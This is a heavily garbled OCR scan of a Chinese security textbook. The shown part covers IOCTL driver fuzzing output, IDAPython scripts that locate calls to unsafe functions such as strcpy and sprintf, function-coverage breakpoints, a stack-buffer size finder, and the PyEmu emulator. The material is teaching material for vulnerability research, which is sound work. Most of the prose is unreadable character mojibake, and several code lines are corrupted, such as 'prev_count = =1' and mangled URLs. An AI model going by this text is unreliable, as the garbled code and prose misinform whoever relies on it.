C:\>python.exe my_ioctl fuzzer.py i2omgmt.sys.fuzz

WERARF) Fuzzer f8 A £ THREAAUKHN, BEERX HEHEASE M4
MEFE, WARE &S FTE R R I0E G — 4 TOCTL if K5 B A RATTE IR “
EERRE 7 T . 3K 10-7 [ RIER T — 5 s Zh ) Fuzzing $13R 2 )5 B4 47 1038 43 H & e
e .
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FF10-7: —RANM Fuzzing WX ZBEMERETHHEAR

[*] Fuzzing: \\.\unnamed

[*] With IOCTL: 0x84002019

[*] Buffer length: 3277

1TFUZZ ! !

[*] Test case finished. 3277 bytes returned.

[*] Fuzzing: \\.\unnamed

[*] With IOCTL: 0x84002020

[*] Buffer length: 2137

LIFTEL L)

[*] Test case finished, 1 bytes returned.

[*] Fuzzing: \\.\unnamed

[*] With IOCTL: 0x84002016

[*] Buffer length: 1097

VIFUZZ ! !

[*] Test case finished. 1097 bytes returned.

*] Fuzzing: \\.\unnamed

[
[*] With IOCTL: 0x8400201c
[*] Buffer length: 9366
IFOZZ1Y

AR B J5 T IOCTL i 3K, 0x8400201C, HEZESH T RAM TN, K AEN,Z G
TIEAZEM a2k HED . BADERIIT H CHRWS) Fuzzing M EEH RIXFEREFIE
BB H TR IR R —AMT A5 881 Fuzzer F2FF, VRBER AT LAAREE B 5 Fr i o 3
file IR St — R ol BB 0 2k 5 B 2 2 B B 2 ¥ InBufferLength B #
OutBufferLength BHUE 5 5E b AIEIRE P K EA B AR LURS R E B OIS ),
Fo P HE S — D) A PRI B L RS 5 FE e
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% 11 Z |IDAPython——IDA PRO IRiE
T 8Y Python BIZAK4R72

IDA Pro 484 —#BC %A B KA Ak — A& %) i 6 TAIFMN6GFek, SFLEMAL
H 3 8% 3% K 498 A 94 T IDA Pro W b#A) if A & & R &) Hex-Rays SA“ 28] th &%, jd
HAR B3 &8 69 B % A IF Nfak Guilfanov 247 % ., IDAPro ##ET X EFFHE
S FE, RRBRANKSARKRARM T b LHBK, FELTREFTE SN FE
42, o IDA Pro M T — AN HXE . M IDA BB —RE A6
FA IDC(IDA BF &l AES WA S, WA —F2 A THBFLARY & IDA # SDK
FREIRLE

% T IDA Pro #A T3 t9# %, Gergely Erdelyi # Ero Carrera /£ 2004 F% A4 T
IDAPython———#k IDA Pro #64F ., illidiX 3464, i# @) T42)F4E48 VA Python By A ¢l 74 X,
19 IDC B A3 4w . T IDA 364 API, “ARFTA 5 Python JBYR1E —AL & WAL
He, iXAdAF ARG &AL R Python 69 2 EAN4L T T A4L IDAPro T &M, A EREH
#-49 Python My A, LT VAL IDA T 4|2 thi& K69 f sh1is 554742, IDAPython £ 52
R Ak~ S ()4 Zynamics & BinNavi® ), R E—®LFRAB P (H4 PaiMei #»
PyEmu, £ 12 £ P& # @8 ) MAER ., AEH 8 £ &4 IDAPython #3F 4m
R H, ML B9 £ IDAPython5.2 FIRA) &4 Z )5 K A14 25 IDAPython P & 4 % A
#9 AR —3 - B R ITANB . TG HZATVVAIUAS Python Bk 4] k45 R K5, X IUAB T4
1Rl JUABR A R & R 2T

@ HHETA LT IDA Pro e lef 192215 B o] LAZE 13X B 48 3 hip://www.idabook.comy/.
@ IDA Pro {17 £ 0047 T hitp://www.hex-rays.com/idapro/.

@ BinNavi ¥ § = 547 T http://www.zynamics.com/index.php?page=binnavi.

@ PaiMei 135 H 3 5147 T hup://code.google.com/p/paimei/ .




% 11 & IDAPython IDA PRO ##3% F # Python B A % 4%

11.1 &% IDAPython

{E 4% IDAPython ZHiR By S FEAH M) —#E Ml 2 te, Wi LU FiX ek ek
http://idapython.googlecode.com/files/idapython-1.0.0.zip.

{EIXA™ zip X f‘"%’c‘i"ll/i‘iifﬁ i, WHMIER —DHZT . R H & RN
T F]A plugins H 2%, fE1XAN H kA A4 4 python.plw [¥) 304 . /R 7 224 python.plw
51 #] IDA Pro [F4d{F H % plugins F, WHERRZE LRGN T &3 IDA Pro, XM H
SEN M T8 4% C:\Program Files\IDA\plugins | . BEAMRIE 75 B A Hox P R 31— 1424
python 1) H & I6 H 4 D13 IDA ()3 Hxd . FLABRA T N2 d IDA, XA HREMN 4T
C:\Program Files\IDA .

MUEIUE PRI LR R TR, R ZEPRF) IDA Pro AL E —ANal #4734, iR
IDA Python 8% s chn#k, RN 40l LLEE IDA B 113 i % il A b & 2 5 %
IDAPython i CAJEG 1k 56 A4 7515 Bl RICI () IDA Pro it g N iz 5 B 11-1 T
™AL

1c1 g Z0P module C:\Program Files)\IDA\procsipc.wi2 for processor
L g type librar

car‘a] 515 SubsysT n- 1a been initialized.

i abas 9 for 1'1'I calc. is 0

ompiling fle 'C:\Progra 1lesh, 1dc\1da. 1dc

IDAPython wversion 1.0.0 [ser o) inicialized
Python interpreter version _,r,: final la- ial |:|j

oL idle [bown [Disk: 9GB

P 11-1 IDA Pro [f)4i Hi IR & 75 IDAPython i {H# s Th 4k A

-H AR D %% T IDAPython i, IDA Pro 81304 (File) 38 ¥4 % HBAEi
S BT, B 11-2 FroR.

= Open...
Load file »
Produce file »
& IDC file...
@ IDC command...
Python file...
Python command...
& save
Save as...
Close

M 11-2 %% T IDAPython {45 ) 304 (File) 3
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126 55 /1 7 184 (1) S 8.6 151 43 51 24 Python file A1 Python Command. 3 7] LA B'E41% H
ghsE T A . ROk R ARRD S Hh P AT LR L[ Python #54, HPA LT Python
Command FH/RR VL Caigifg 4x, — MU AT IEHES B 2158 ) HF 4~ /R Python 18
A%, AHA R 45 SR R AE IDA Pro U HHEIAR . 55 —ANIEIH “Python file” W] T,
FTHE¥) IDAPython JIAS, X IF A F MR B A AT . BRARRITCaf
T 54 o] Fi ) IDAPython i, FHEILEIRATARKET R L% H ) IDAPython PR %( .

11.2 IDAPython %k

IDAPython 5¢ A& T IDC, XEWKA AL i IDC™ & 4L (1) 4 & ok B nf LL7E
IDAPython H#RE|5 22 XM AR . BRINTASEFREMAAILP B RE, KFEY
RISt EFamE A, XMoo RPNV ELUOARE EE FE H AR IDAPython B4+ F

MRS, IDC BWAE S SILIRMT 100 EAANERE, KILEEENLSGEN
IDAPython &t IFdERAZER Hbr, FEHIRM S IR LML TR, AR
IDAPython 5 fii4=HIfF A R .

11.21 BANMNLTERERH
{13 (1) IDAPython B A< £ i AN B b 75 22 21 BA T 3 AN 1 T H e %
ScreenEA()

R1F AT IDA ARRSAL B oh B e B 5 B A Mk o 3 A6 75-UR T LA B il ik b SR O R )
B A §i 2 — ANl i ik
GetlnputFileMD5()

A Z AT —BE SO 54> MDS W 758 o 4 SR PRASVR 0 36 A~ — 3 1 SO L 77 B
HIA AT A BT, XA RBOTLLU A FRIg e 5.

11.2.2 " (Segment)

AN B SO H B B R AN B TR 45 2 1926 %! (CODE. DATA, BSS,
STACK. CONST 2% XTRN), T ed EOh FRI2AE T 3RS Fh B A A5 R IKE42.

@© 5E¥EM IDC A ¥ #2152 W hup//www.hex-rays.com/idapro/idadoc/162.htm.
@ FHIE: AKif Segment B THIFH “B” ZANEWALATER “KB” M “HX ", AB%H “B”
Xk,
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Firstseg()

IR 0] E IS AN B R G bk

NextSeg (long Address)

WA E R AL E, BEF B R aE, FRSETT SR X B SR B RS
b ) fe s —A B, W& [A] BADADDR

SegByName (string SegmentName)

R\FTEMBLAR, REXABAEG . RITABR LK. ext AF, RECHFERFA Y

TR SO AR B AR 4 Mk

SegEnd (long Address)

WRAETR 2 L, R ElZ AL FE B G R AL

SegStart (long Address)

R3S 2k, R [EZ kP e B R A k.

SegName (long Address)

MRS IEE Ik, IR BT 7E B A FR .

Segments()

RP—ABOE ISR, XA RS T B bs S0P & B dh k.

11.2.3 B

#E4 5 IDAPython JIAKIN , 85 H BRSCHEc 105 BB B i o 0 573 — 2810 T A
KA EER . LT REOT AZEAR S B 6130 e BT A E N BYV R — B 2 ) .

Functions (long StartAddress, long EndAddress)

R E— Ak Ot hk S e, XSRS T TRl StartAddress F14% 3R b hk
EndAddress 2 [a] f] T 77 B 4 .

Chunks (long FunctionAddress)

WIS E ROt AE, R [E—ARIIE, W Rg—ANFIRITEL 4 Python TG4 [T¥
3\ (chunk start, chunk end) f76f 55— oA F ol SE A B[R df sk 5 45 R bk

LocByName (string FunctionName)

AR 95 %€ 1) o B0 42 PR IR [B1HH R, () el Fob ik
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GetFuncOffset (long Address)

e R HOVR A (K MBS J pl— N oR 044 )5 BR WS ik ) 7 47 £
GetFunctionName (long Address)

MR e bk, 3R [ AN kBT e ol oA 44 98

11.24 ZX51H

AT L5 | FI AN B8 28 5| 0L T — b 4 £ () i@ A2 K 35 B R 8RB — 330 S h i@ &
S ) ) S5 A P A T fﬁtlujn IDAPython [ 1424 T 4 ek ¥ T-#H BhIRA 13k H A A
RAUMAZ G FIZS LA 5 R 0 () ef 2

CodeRefsTo (long Address, bool Flow)

RIS E B H brdbsil, & [A] A5 ) AR AT 5 | 103, AR BUS 5 Flow (IHRAA &
ST RS I 9 Y PRAT Ha - R A AR 5 [ )

CodeRefsFrom (long Address, bool Flow)

RIS e r g, &[S gt bk R AR 5 B .

DataRefsTo (long Address)

MR PEFE ) H ARk, 3R [Pl ANE ) b AR B 5 I %2, X REAEE S | F AT LLA T ER
e H br —HEHISC b 2R A i AR .

DataRefsFrom (long Address)

YRS E P, R [A] AN kb bk R B S B

11.25 AiXEFHT

IDAPython B (1) —ANAH =485 (K RF P A2 x,HJFJF'( IDA PR AR 87, I HAR
Al LUk AT fig A () & AP R A R A A EE R . R R IF AR IDA Pro EE
i, HAIRS KIRAE F %S F A /L) IDA 'LFEJLA‘{'?%KEC@J:*&&:’L‘UE} MR TR EEfdk
1AWy ERS S 10— B S R I B A X e Y iR 2 SR LR . e XA
47K H DBG_Hooks f] Python T J @& — /NS T8 25, B MRAT LA XA
R SUAH Y. () S AL BEHLE] . FRATTH LR ) DbgHook 28 441

class DbgHook (DBG_Hooks) :

# M debugee B RFNN, LR LB GFE 308

def dbg_process_start(self, pid, tid, ea, name, base, size):
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return

§ qHERGR AT, SRR R
def dbg_process_exit(self, pid, tid, ea, code):
return

# — BAEILEERE AN, IR GRS A
def dbg_library_load(self, pid, tid, ea, name, base, size):
return

# M7 A A A R R
def dbg bpt(self, tid, ea):
return

XA Python 2840 & T — 28 WA AL S b 2R B 72, R At DL R B AT ACRS T
¥ FoR BTN IDA NI .

debugger = DbgHook ()
debugger .hook ()

MAE — BARIZEATIEA PR 2%, PRZ AT F 9145 BERS Al IR BT AT —Fh i i B 4F,
JX S R AR DOZX A IDA W VAR (K0EIE . T Ifi4 H — 4128 % (e 0 fH b B )7
Hh i 2] £ 4k B R B

AddBpt (long Address)

fEfE e AL LR — AN A

GetBptQty()

IR ] i BT T A W R

GetRegValue (string Register)

HRARE 4 5 1) 42 FR R [P AF . 2 A7 2% 0 18

SetRegValue (long Value, String Register)

WL 4 2 AT A7 AR L

11.3  BACSEH

FHEEFATR AV 227 5 f9 IDAPython A<, F T 0B A B ) AR 24 n] R 22 20 I s
PR3 17 23 B ol e RAT 2 AE R SRRy 2 03 o) 3 B R RO SE I A IE B W] LAUR BRI, 8
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F R T 4 b (R R85 T Al SR RO S L B AR SE B R S i e X SRR AT P = A
T P B A RS B R 5 B = A RE A AR S5, AT 20 i R4 T RE RSO P i 1 f B R LK
ARASF1 . I IDA A R 341 KR ) ok AR (0 8 R OL, LA ) — 3 ) ST A
A R Foke L AR B B R

11.3.1 # I B EIRZ XK

M AW T R E AR i 3R bug I, BRI B R EAUEEE ‘A
RF" FRE&ILF) 0. X ek BB ™ P s, AR AR 2 1 % 4 el il AT
TSR T X 3% 2 R B AN 9 A8 o X 3 bl B % 42 147 1 775 6 4% DL RE (strepy  sprintf)
LA Je Gl = K A AL P9 4748 DR 3 (memcepy ). £EBRATTA B oF— A —BEI SO
BAIFEYPOE IR X AR F IS 2 Ak, DMETIRATEE— P BRERE A1 AR .
A ERATT T A () B — A RS T R AT H 3K R A 1) i) 5 R B LA B BT A i ) JX A
f b R BOARIS S I o Bbsbh, BATTER 4 T B A5 R EL G5, SR
T IDA AR ACHSRLE iy, ARLERE H 2045 4 B R R /R ——R 22 b AL I M AT
f AR AR, BRAERNE — NI Python BIA SO, #HAr4 ok cross_ref.py A LL
FARHS .

from idaapi import *

danger funcs = ["strcpy","sprintf", "strncpy"]

for func in danger_funcs:

® addr = LocByName ( func )

if addr != BADADDR:

# IRECLLIXA ok Frita bk b H bRk 922 51 A

cross_refs = CodeRefsTo( addr, 0 )
print "Cross References to %s" % func
print *

for ref in cross_refs:

print "%08x" % ref

# K A TR I X A R A R R e S R b A fe
@ SetColor( ref, CIC_ITEM, 0x0000ff)

B 58, BATE B PR A LocByName HU7GH#- 16 [ o H i) i bk QD, JRATT34 B %o 33X 2 o Hc b ik
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HEATH I AR £ & AT 7E H bn 36 S0 o A 3k . 8 F RIS R %L CodeRefsTo()
R BT A 1R X e s S iR B ARRS S T R @), s BATE A EAMUE G SR, it em
Huhk £ &, XA F X seihbl b g ek B A O, LUET IR IDA L4
IS it 5 4 5 M R B X B AAS 5 F . BATTLA 36| SCF war_ftpd.exe K8, 44REFTIXNH
AW, VRN SN WFE 11-1 Frosr i w2

55 11-1: B cross_ref.py BiMiH RN E

Cross References to sprintf

0040434f
00404408
004044f£9
00404810
00404851
00404896
004052cc
00405604
0040565e
004057bd
00405847

M _E 3R g A5 S R R AR BT 3R 3 455 | F —FR 45 W) eR 3 sprintf. {01 SRkt
YRAE IDA PIACHSAE B B o WX e b, PRV M R Tix seshl b4 #84 +
TEHMLa®, wmE 11-3 Fig:

loc_k28299:
eax, [ebpearg_ @]
ecx, [ebp+Dest]
eax
offset aGoonlineCreate ; “"GoOnline{): Create(%d) Failed.”
BCX ; Dest

» BCh
» [ebp+Dest]
, Qword_ LRAECH

i, [eax]

s Eax
dword ptr [esi+iCh)

B 11-3 AT cross_ref.py 2 Ja B W B A sprintf (9355 %8 L 76
11.3.2 R¥FFEEHEN
SBATT BB SO LA AT B, ERATRE X H B8 5 HARFERE Z ) 3
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Python & #§ F——2Z % 5 i &) T 42 &) Python %2 Z i

— A BTG R — RIS BAT 0N T nde %, XA IRATH 52504 TAE T (0K
FHBEAT . Flnt FReES A TS, AT IR E AR N, SRS X
oL 9 28 7 FH R 7 e 31— A W & s 27 i A RS 4 Rt v, s AN SO ) 13 88 7 1K
R BT SCRS AR AT B A i ol 0 A2 3 . ARS8 a1 A Fh b B S RS X R R TF-BenT LA
B VR B R H FR R IO A BT LR . e IRATT BT Z 0 #1058 — /> IDAPython I 44
FBRATVE Py A 2 HSCR T R R R B SRR R M, i
B — NS T, URP] ELEEREE A W A dn b I BAH K S B . UG — MR
Python JHIA A4, ¥iar44 4 func_coverage.py, JFHiALL FACHE.

func_coverage.py

from idaapi import *
class FuncCoverage (DBG_Hooks) :

# BATTHIWT sUAb B

def dbg _bpt(self, tid, ea):
print "[*] Hit: 0x%08x" % ea
return 1

# R TR o R a1 1 AR B T
debugger = FuncCoverage ()
debugger .hook ()

current_addr = ScreenEA()

# 3 H A AT 45 6 B SOHE S A B8 A

for function in Functions (SegStart ( current_addr ), SegEnd( current_addr )):
AddBpt ( function )
SetBptAttr( function, BPTATTR_FLAGS, 0x0)

num_breakpoints = GetBptQty ()

print "[*] Set %d breakpoints." % num_breakpoints

HoE, WA PR O TR A R A RN a3 0. B IRAT I ik
SCAF BT AT A9 ) PR RO ME @ I AR AN i HE R W@ . Bl S BRATTE o 7 H oA
SetBptAttr B¢ 'H — MR RS, XAPREH T SRS 4 W7 s gk s, a8
KL . WORIREIX P URRE 25, — HAW A, R RS UGl Fahi 5 0k
VARR AL, JJa 4T ENS T B B W A B 8@, FRATIA T £ A 2 P2 A 5 B T A8 11 L
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1y S Ml 4T B HE A A iy v BT 5 E B Ak 3 AL S () S HE i ea FIHUE, 2 ea 1)
AB TR YK BIP S fr a8 HUE. BAETFS IDA a8 AN F9), RN
iZ BPZ 5K GE A BIAH S 4m HH A5 S, B eR B0 pa b o X 2B A5 S AE I BhURXT H bR
A IS FC e S0 FH A 250 A B e A2z e B R PR AH 24 B A R .
11.3.3 FEAMELTE XN

(ERATX RSP EAT 2w T, FRER e FA R BRI R, X TCEE
2R VRIA BT SR GS INEAM O B0 o PR BRATTAT LA eR J50RR ( HOASE | K A4 HE W7 HH X 4 ek 3
R g R TAEBUE AR BUAI RS AR R, R LT IHEXBREIENEMNX. 5T
Jad, — EARBE A N IX RGP X 1R B A BE SRRk B e AT HI GX kA thif e
EIACBOGRE H RRTRD, A4 st b4 B AREE 2 15 W . BATS H G — A%
i [J] ST B AT AT R A, TR AR R IR B IR X ek . IRiE
AT LA G568 FH 2 7 ) oR 5000 i A W0 A, 300 3 250 28 PR B 3K A 4 S R 80 R A v ke —
A AR/ NMRR R EEE . B Python BIA S, 4440 stack_cale.py, FHEHIA
EL AR

stack_calc.py

from idaapi import *

@) var_size_threshold =16
current_address = ScreenEA()

@) for function in Functions (SegStart (current_address), SegEnd (current
address) ) :

@) stack_frame = GetFrame( function )

frame_counter = 0
prev_count = =1

frame_size = GetStrucSize( stack frame
while frame_counter < frame size:
stack_var = GetMemberName( stack_frame, frame_ counter )

if stack_wvar != "
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if. prev.comnt l= ~1:
distance = frame_counter - prev_distance
if distance >= wvar_size threshold:
print "[*] Function: %s -> Stack Variable: %s (%d bytes) "

% ( GetFunctionName (function), prev_member, distance )

else:

prev_count = frame_ counter

prev_member stack_var

try:
frame_ counter = frame counter + GetMemberSize (stack_frame,
frame_counter)
except:
frame_counter += 1
else:

frame_ counter += 1

FATE B MR T BEQ, XA B RATRE T 24 ef Bkl _E A2 R 48
TZRIZ R, RgRANE - REAEEMN X EXBRINEGE 16 MFWR—-ANBAE
PRI, R OR AT P A AN [ 6 R B, KA e Bt A A —HEr 4 R .
EAHEBAVED B 3PP AT R Q, RS E P REATRE RN RO, it
{i F R 3 GetStructSize@IRAT] s el 2 8 AWl R SRS TRATIE 5 il [ 5 — Mk,
Hexd B — A e ik n LA 76 4 8067 BR B AFE — Mk EERG . HEUET K mE it
Efscfrfeds — Mk B, BRI TN ZENMBAE, AT LR A
ik, M SHX PR R EZ E ) EEE . BT XA EEE, RN EEm TR
MR BRI RS . IR BB HEAS L DL R — SR B G v X, BT o B A 5 24 ik L
BRI @ HHT RNk EE§ frame_counter, WAL LM XA LRI R ),
ZBRAT 0] B o) T RS RN AT RN T R . BT AR &
SE [ WIS, PRV ZRE B FIZR 11-2 FroRfi g (B B br RIS AR
S RCERR B X).

5 11-2: BA stack_calc.py ifiHABERE R T EER L ENXMHEXESR

[*] Function: sub 1245 -> Stack Variable: var C(1024 bytes)
[*] Function: sub 149c -> Stack Variable: Mdl (24 bytes)
[*] Function: sub_a%9aa -> Stack Variable: var_14 (36 bytes)
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#% 11 ¥ IDAPython——IDA PRO 3R 3% T ) Python By K % 42

HAEVRI Y 2548 T %5 IDAPython M A (R BEAHE fE, I HA T L8000 T M
Al QLRGN AT . AAEE MR ARAE EJLa B (a4 S — L% IDAPython i)
AT LA FREN T F TR ). G S A m Rl mig it b, NEERE YT
3% o] TR B 08k E B 7 . PRI TR H OB S PyEmu 958 F—— 3%
HF Python (1) x86 { H.28, XIF& 4tk () IDAPython I H S .




cipria
12

F12E PYEmu—BIAREZN (T ERR

PyEmu &£ ¥ Cody Pierce —4ik A Trppmmen[ HFRGFEBEHRIAN, £
2007 FHHEMR KA EAHF—FHF AR, A —FIA32 5 A E, PyEmu & A% aﬁ-i’«t
## 69 Python snif , £ 2 Python AR, T # @447 F 5 PyEmu #E4T Z 30 PTG 48 8 6 BHIES
GABEXEARNEORFTZPTEAANAG LSS DSR2, —AEGALS
B R KA FF B TRAZESRMNF S, BARRFERZAEE L L P74
EFZGHAALS, PyEmu BT ZAP R F 6 Rill R A5 J: IDAPyEmu, PyDbgPyEmu
vAZ PEPyEmu, iX = 4-#|2f & F PyEmu & 55’: PEI=AF 2 Pylhnn % . IDAPyEmu 14 84
T IDAPython 464 ( A % IDAPython ¢ 22K A ILF 11 ¥ ) f£ IDA Pro 33y T84
T —/MEL 645 L33, PyDbgPyEmu 14X E OERSE R PR S A VN F X £
MdF LS, EXARFRT AL B Ty A AP LGS SRR R IR A BN A AT H
BRI AHIE, EHRAE AR 4 Z, PEPYEmu &2 — NI ES 0T T LA,
'CRFER M4 IDA Pro Z RN SIEICH TR, AW £ IUA A K69 1 635 F P 2
IDAPyEmu 5 PEPyEmu #) & J Aedit#, £ T PyDbgPyEmu $AN45 5 & ik H 4 ARG
5 AR S, ILAEER A4 PyEmu 4 2] B 49 Python - & 3R 5: P

121 %% PyEmu

b PyEmu (it FE L2 F 257, B EHMAEE T A SVN # LU F i MR AS %
H X ﬂf HIN (18565 :  svn checkout h[tp:ﬁpycmu.gnnglccudc,cnmfsvnhrunkf PyEmu.
(EVRSE IR RS P I )5, U H ok 2 B 8] AME T U5 7, #iltn C:\PyEmu.

@ fRAT Rl PL P XM IR Cody 72 RIE K2 ERATMCE: hups://www.blackhat.com/presentation/
bh-usa-07/Pierce/Whitepaper/bh-usa-07-pierce-WP.pdf .
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DL YR o SRR & — /N9 (9 PyEmu JRIACI, 75 5% 78 % (1) B AS SO JF Sk n BA R P9 AT
Python {05, LLHfifR R #1205 T PyEmu BURFTAE I #E12

sys.path.append (”c: \PyEmu\")
sys.path.append(“c:\PyEmu\1lib”)

BLIX A TR ! BRAE R INHRAE T PyEmu FOARETIZY T, BATRR T 5 #9RH vt

s

‘E’féjhu

122 PyEmu %

PyEmu {fj 5.4% o] AR 70 A =4 EEM) 7 RS PyCPU. PyMemory Al PyEmu. {E4
FH P R &t K 22 B iR i ) L2 mAE T B JE Y Python K PyEmu #4TH #), PyEmu 2K R K
i B H A 4 PyCPU F1 PyMemory 28, 3 H1 X P9 8 5 RO Y (R 2 05 BLERVE . AT DL
PyEmu #}i# 4 1])*. PyCPU Hl PyMemory Jér “HZ W “AEENT. BRI T,
MRA I SR PATERE SN, 85 UF PyEmu, “B§, {kit, BREFEFRITXRIE
St adiR.”, PyEmu B2 KWy—75, “PyCPUMRINMEA, f3& T T!7, PyCPU #4%
Je et K n) PyEmu A& HETE , “ T IX 3515 2 PyMemory $2 808, ‘MR ? 7. 55 24 PyEmu
A PyCPU AR I A A7 8RN, 52 B A M UBIT, ZHBENTA TR T —FKEETG
20 h 3L

N ETFRATRE X R4 e ) =N F REG % H AR M A SR B ZERAE, K
BORE4f A% PyEmu {5 SURRHIE/E 7 R, MG BORH% PyEmu 76— 5B SE ()30 ) 37 5t 2
h—ikHF.

12.2.1 PyCPU

PyCPU 1] LA} /& PyEmu 1/ SCER OIS RBFTE, PyCPU B St L H (AT A AEVRE K

L ELIE M) CPU %K 8. PyCPU HR ¥k /& 7 1 BT & F AR5 2 P AT it 2.
J?PyCPUfb'c TR R IES AR 2R ER, PyCPU $4R¥E 4TI 2154 A7 28 (EIP)
1875 2L UG IR 2 FF AT 364 (EIP 2F f7 a8 I8 o] LA i ## &3 5% IDA Pro/PEPyEmu K
ot dEd, BE HEORUE T PyDbg At ftish U8 aEA8E), IR ATt 3 A0 S v 4 I
HPE Pydasm HEATMRES, FMAP 4088 AR OB VERD SER 150, GE98 2 A F b5 204
(R EAE 1E & PyEmu 7E BT 8 2L 0 & Fp1E 17 & _EASBE R () B B 4

X 8E—4H PyCPU ¥l (454, ARG AW N5 20 W (145 217 2 e H06
HHHATHEE . BATLIES CMP EAX,1 Afl, PyCPU 2 I { FLBA # CMPOXK SE HEIX K L
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8, Rt CMPOTE M A 77 P BT (] 2 Z B O OR98 HaTiX & 482 AW BAEAT]
WAEEAE), HEE R BOR [P AT BB S H M CPU bR&fr, Blids FARREE L BLE 1 45
B W PyCPU.py 47 T Ffi PyEmu iR 1A32 i3 & MM L4075, R AR
A3 R A7 40 B X AN SO RS, T 0 AR ! Cody 78R UE 45 STAFJEHS ) AT S A0 2 1
P 7 1T AT LA AR AL B0, T4 S PyCPU (RSl i U IE R #AR CPU JZBATHLE
IR S

12.2.2 PyMemory

PyMemory i 5 fE 52 #0047 W6 & PyCPU HijiX sl /7 68 0 T N A7 8048, 4k
PyMemory if 5§45 5 — & E ) ¥ A B b o] AT S0 A 00 & 20 - A B gt
EHU B ESRIAFZY, XFERE AT DOE 0 S aS R B O LA E 5 s
Ir) 1) 3 L6 F A .

12.2.3 PyEmu

AR PyEmu 13840y SLILFE o P A #2000 3K 5 (19 7 €4 . PyEmu #0871 — AN
R HR &t B R GEYE AL, IX AR R AT LUR G T & Th AR SR K (K0 5L AR, [A]
i ST i B 2 0 e g & Ji%(i #r e K ERZ B2 . PyEmu s 0t T — 20 5l B eR BOK 5 Bh ok 2. 2%
U7 ST O RS 2 A -lL—'-PL%:{?_’.f;'Jh FHIPATH . B AR AOME. BN
ﬂuumi 1L %9' »HI)’J*}tﬁ" ERAVIT %S & T SUEA Z AT, EIRATER T Lk

12.2.4 #EESHIT

PyEmu iffi i —~ 44 &) 2L 5 1) R 8L execute()KF FlH5 2 1751 AT , 3X A el H11) J5t
BRI F B

Execute (steps=1, start=0x0, end=0x0)

R executeORRHE T = rlIEHIS ¥, ﬂﬂﬁzﬁfﬁf*ﬁmﬁfl (A — 2 R HLE
Bor UL PyEmu 1) 24 i ik £ 4 ACRS AT I 2 A Mkl . 3 BT I AR 24 Al bk T L,lzkﬂ“ :
PyDbg &AL B ) EIP #4747 2%, tHnIfE2 th PEPyEmu BT 4L AT 04T S0 F A 1 5,
504 J& IDAPro FEIH (2 BT YE AR BT 5 B (K R bk . S50 steps 1558 7 Fr 4T 99524
8, M2 start WERRADACEPAT AR S8, BLR A HSH steps BEZH end
PRA] EA R PR € execute() ef BT EHAT (A RS VI .
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1225 HEFEUSFRSHFFHRIENE

{5 SLRAALE AT S 8] S AN T 430 956 M 18 8 R0 ] 5 A7 28 ol N AF P IO . RIS EX &
HIANE], PyEmu R Ak 2 46 5035 e BRI A DU AR TERE: A7, B EER. B ESH
FIAF (745 . (e Eh Al e 3 get_memory()F1 set_memory (VPR sk AT LA SR P 47 1 8 8 5[] HY
BAE, XA KB R TR

get_memory (address, size)
set_memory (address,value,size=0)

A3 get_memory)fi I N2 4. B address T4 VF PyEmu A s [ U4 Fr 76
IV N AL E, T2 size WIFEHA T BT EHR ORI o« AT BRI 2 set_memory ()1l 75,
2 address WA TRRNFEAEXENCLE, TS value IERFTES AR, TS
size 1] - T4275 PyEmu Fr 847 N 8 6% .

73 SN T pR BOHe (1) P 78 ek B A R O X Bt KRB, e T T
Heml L RESH S R RGE. S8R BURE T Fis:

set_stack_argument (offset, wvalue, name="")

get_stack_argument (offset=0x0, name="")

set_stack_variable(offset,value name="")
get_stack_variable(offset=0x0,name="")

PR3 set_stack_argument()ZR Rt — MW Mk GXAMWH bbb DL 27 77 8% ESP (1)
(EAE RS AE) CAR A VIREE D B 2 5. AMRIE AT LU IX AN B3R
SE— 04, X A 2 24 PR A8 ] R B get_stack_argument()iak B [F]HY H 5 G kR |- 2
g, B THUE AR R bR AL, PRt AT DU 2 BT 00 E X B 4. Rl
25 AN LR 6 A S

set_stack_argument (0x8,0x12345678, name="arg_0")

get_stack_argument (0x8)
get_stack_argument (*arg_0")

73— Vums ) PR 4L set_stack_variable()'5 get_stack_variable()f147 0 55 FiR (45 5
e MR, SKYCHRBTHL 0 A MK LU EBP 75 77 28 IO A, K
AT B RO £ SR A

12.2.6 41242 (Handler)
REFEBIRE () AR T —Fh R % AR SGRA B EHLE, ESBEX—HUE), 06w TR

177




Python A& 1§ F——2 % 5 i# ) T42 ) &) Python f2 X i

Rets SR HARFR I M4 . Bl B . R MR RHATIUR . PyEmu & )\ FPEEA 1)
Ab PRI FE RO T AN M R B, B A A AR EEEIRE . AP ek Kb B FE
WALHEIRE . R EIRE . BRI AL EBIRE . N AEAREREIFE . RN A7 b E ) R R
it B as A FR GRS, R IELEBATXS AR )\ Fh b B B FR R — AT R

1. HFiFgbEpliz

A AT a5 AL PRI FE $0 T M0 € A7 A7 25 A AR, — BN T IR 09 %5 4728 1R
SRS, IRZATFTR T RSB R BOR A . ARaT L AT EUF i R B4 k3 AR 1) 25 47
28 400 75 7 -

gset_register_handler(register, register_handler_ function)
set_register handler (“eax”,eax_register_handler)

FE B N R B2 1, PRIE 1R IR T B R R RS s AN R B A7 A b EE
HIFE:
def register handler_ function (emu,register,value, type)

- XA ER B RO, 4ET10 PyEmu X % sEB6 8% 5 se N, BB H G & IE4b
THRAVM N T A8 XN TP EEGEE . B8 type i ANRRYE K 245 &
read BU# write [ R 15 &5 B0AC IR of £ FH AR PR L — IR 35 7 2% SR H B A 00 1 5 N1 .
PRBT I, (B8 A R0 A5 R SN 25 47 a8 EAT I U (R A5 Mo 42, VR 2 AE 9 70 VR I Ak 3 451 2
Hh i B Hb B MUK L 3 A7 2% M

2. SMEBEE R EAb 1R filFE

B0 R B4 B 45 B T B4 A A AT A B 1) S SRS E A e RO . X AE AR T
PAXT 40350 2 R B 8 FH 7 S CA BRI 45 R BAF0 o 25 B3 — AN S8 e o oAk 1 45 72
Vi R AR i 7 A K

set_library_handler (function, library_handler_function)
set_library_handler (*CreateProcessA”, create_process._handler)

PRAT LA S Q1 s 19 B 2RO 52 SCAH . £ ] 8 Ak 2 45 22 -

def library_handler_ function(emu, library,address):

HETRGE ) PyEmu X GBI R A A S EUE N, S5 library #0580 E R 34157
RSN R BB TR, B % address W ARIX A TN oR BAE P9 17 0 (1 BSR4 5

3. FEAEFE

RIS 24 LE R L5 2 BEI Bk RN 7 B BIRR R T A T, M3 T PyEmu (i EL &
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#12% PYEmu BABHXGAE

ik, eEtE A B R A K KB AR 20K 2 1 5 %f’I"i"’f%Jl?iﬁ'tl‘ih’
B i i) e i AL BRI FE B - B H AT 8 1L PyEmu SR SR R ETIR, X O
